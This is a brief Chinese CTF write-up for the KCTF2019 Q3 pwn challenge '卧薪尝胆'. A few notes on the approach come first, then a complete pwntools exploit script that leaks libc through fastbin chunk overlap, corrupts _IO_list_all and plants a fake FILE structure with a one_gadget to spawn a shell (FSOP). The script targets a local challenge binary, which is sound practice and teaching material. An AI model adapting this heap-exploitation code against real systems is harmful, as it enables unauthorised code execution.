KCTF2019Q3-卧薪尝胆

FSOP

malloc的时候可以打印出地址,fastbin随意在libc中分配一个chunk,然后获取libc地址。

看wp好像edit的时候没有限制范围,所以也可以直接edit去改stdout来leak。

尝试往malloc_hook写了onegadget,然而一直没卵用,才知道原来是程序替换了malloc_hook

使用FSOP,照抄ctfwiki,然后自己随便调一调就可以了。

exp:

1
#coding=UTF-8
from pwn import *
from LibcSearcher import *
#context.log_level='debug'
onegadget=[0x45216,0x4526a,0xf02a4,0xf1147]
def add(Size):
	sh.recvuntil('>>')
	sh.sendline('1')
	sh.recvuntil('size : ')
	sh.sendline(str(Size))
def edit(idx,content):
	sh.recvuntil('>>')
	sh.sendline('3')
	sh.recvuntil('idx : ')
	sh.sendline(str(idx))
	sh.recvuntil('text : ')
	sh.send(content)
def delete(idx):
	sh.recvuntil('>>')
	sh.sendline('2')
	sh.recvuntil('idx : ')
	sh.sendline(str(idx))
libc=ELF("libc-2.23.so")
while True:
	sh=process("./pwn",env={'LD_PRELOAD':'libc-2.23.so'})
	add(0x102)#0
	sh.recvuntil('heap 0 : ')
	heap0=int(sh.recv(14),16)
	#print hex(heap0)
	add(0x68)#1
	add(0xf0)#2
	add(0x20)#3
	payload = p64(0) + p64(0x101) + p64(heap0) * 2 + "A"*0xe0 + p16(0x100)
	edit(0,payload)
	payload = '\x00'*0x60 + p64(0x170)
	edit(1,payload)
	delete(2)
	delete(1)
	add(0xf0)#1
	delete(1)
	add(0x160)#1
	edit(1,'\x00'*0xf0+p64(0)+p64(0x71)+p16(0x1aed)+'\n')
	add(0x60)#2
	add(0x60)#4 #control malloc_hook
	try:
		sh.recvuntil('heap 4 : ')
	except EOFError:
		sh.close()
		continue
	else:	
		leak=int(sh.recv(14),16)
		libcbase=leak+0x23+0x10-0x3c4b20-0x10
		log.success("libcbase: "+hex(libcbase))
		delete(2)
		edit(1,'\x00'*0xf0+p64(0)+p64(0x71)+p64(libcbase+libc.sym['_IO_list_all']-0x23)+'\n')
		add(0x60)#2
		add(0x60)#5
		add(0x200)#6
		sh.recvuntil('heap 6 : ')
		fake=int(sh.recv(14),16)
		edit(6,'/bin/sh\x00'*(0x20/8)+p64(0)+p64(1)+'a'*144+p64(0)+'a'*0x10+p64(fake+0x100)+'\x00'*56+p64(libcbase+onegadget[0])+'\n')
		edit(5,'\x00'*19+p64(fake)+'\n')
		sh.recvuntil('>>')
		sh.sendline('4')
		#gdb.attach(sh)
		sh.interactive()
		break
文章目录
|